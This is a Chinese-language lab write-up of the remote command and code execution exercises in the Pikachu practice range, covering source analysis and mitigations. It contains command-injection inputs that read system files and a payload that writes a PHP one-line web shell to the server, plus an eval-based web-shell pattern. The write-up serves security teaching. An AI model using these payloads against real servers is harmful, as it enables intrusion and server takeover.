Pikachu靶场——远程命令执行漏洞(RCE)

文章目录

  • 1. RCE
    • 1.1 exec "ping"
      • 1.1.1 源代码分析
      • 1.1.2 漏洞防御
    • 1.2 exec "eval"
      • 1.2.1 源代码分析
      • 1.2.2 漏洞防御
    • 1.3 RCE 漏洞防御

1. RCE

RCE(remote command/code execute)概述:

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

远程系统命令执行

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上,一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。

远程代码执行

同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。

1.1 exec “ping”

输入IP地址查看页面反应

Pikachu靶场——远程命令执行漏洞(RCE)_第1张图片

在ip地址的后门拼接说我们自己想执行的命令

127.0.0.1 & ipconfig

Pikachu靶场——远程命令执行漏洞(RCE)_第2张图片

查看win.ini文件内容

127.0.0.1 && type C:\Windows\win.ini

Pikachu靶场——远程命令执行漏洞(RCE)_第3张图片

同样的可以拼接各种命令如:systeminfo,net user等等。

还可以写入一句话木马进行连接

127.0.0.1 | echo "$_REQUEST[777])?>" > ../../../wuhu.php

Pikachu靶场——远程命令执行漏洞(RCE)_第4张图片

然后使用中国蚁剑进行连接即可

Pikachu靶场——远程命令执行漏洞(RCE)_第5张图片

1.1.1 源代码分析

代码中,首先$ _POST[‘ipaddress’]赋值给了$ip ,然后没有经过任何处理直接就传入shell_exec()函数执行,造成命令可拼接执行。

Pikachu靶场——远程命令执行漏洞(RCE)_第6张图片

1.1.2 漏洞防御

# 漏洞防御代码
if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
    $ip=$_POST['ipaddress'];
    $check=explode('.', $ip);//可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
    if(count($check) === 4 &&
        ($check[0] >= 1 && $check[0] <= 255) &&
        ($check[1] >= 0 && $check[1] <= 255) &&
        ($check[2] >= 0 && $check[2] <= 255) &&
        ctype_digit($check[3]) && $check[3] >= 1 && $check[3] <= 255)
    {
        if(stristr(php_uname('s'), 'windows')){
            $result.=shell_exec('ping '.$ip);
        }else {
            $result.=shell_exec('ping -c 4 '.$ip);
        }
    }else {
        // IP地址不合法
        die("Invalid IP address!");
    }
}

代码解析:

  • ctype_digit()函数来验证第四位是否是整数。
  • count()函数来检查拆分后的数组元素数量是否为4。

Pikachu靶场——远程命令执行漏洞(RCE)_第7张图片

构造攻击代码

127.0.0.1 & ipconfig

页面显示Invalid IP address!,防御成功!

Pikachu靶场——远程命令执行漏洞(RCE)_第8张图片

1.2 exec “eval”

后端代码审计——PHP函数及PHP危险函数。

eval():会将符合PHP 语法规范字符串当作php代码执行。

代码示例:


    // $code = "phpinfo();";
    // echo $code;
    // var_dump($code);
    
    $code = $_REQUEST['code'];
    eval($code);

?>

一句话木马原型。

在输入框输入如下内容:

phpinfo();

Pikachu靶场——远程命令执行漏洞(RCE)_第9张图片

1.2.1 源代码分析

查看源码发现没有做任何校验,直接将我们输入的代码传递到了eval()函数中。

Pikachu靶场——远程命令执行漏洞(RCE)_第10张图片

1.2.2 漏洞防御

在后端代码中尽量避免使用PHP危险函数。或者使用白名单策略,来对用户输入的命令做一个限制。

1.3 RCE 漏洞防御

  • 使用白名单:定义一个接受合法命令或代码输入的白名单,只有在此白名单中的命令或代码才会被执行。这个做法可以限定用户只能进行指定的操作,并且可以有效地防止黑客攻击。
  • 安全编码实践:编写安全代码是防范RCE攻击的一个重要手段。开发者应该禁止使用eval()或exec()等不安全的函数,而是使用更安全的函数来处理用户输入。
  • 输入验证:当处理用户输入时,必须进行必要的验证,包括数据类型、格式和长度等。在校验用户输入之后,再将其传递给执行命令或代码的函数。
  • 限制shell运行环境:在PHP的服务器端配置文件中,可以通过限制可执行文件的路径和基本环境变量来减小攻击面。

你可能感兴趣的:(网络安全,系统安全,web漏洞,pikachu,RCE,远程命令执行漏洞)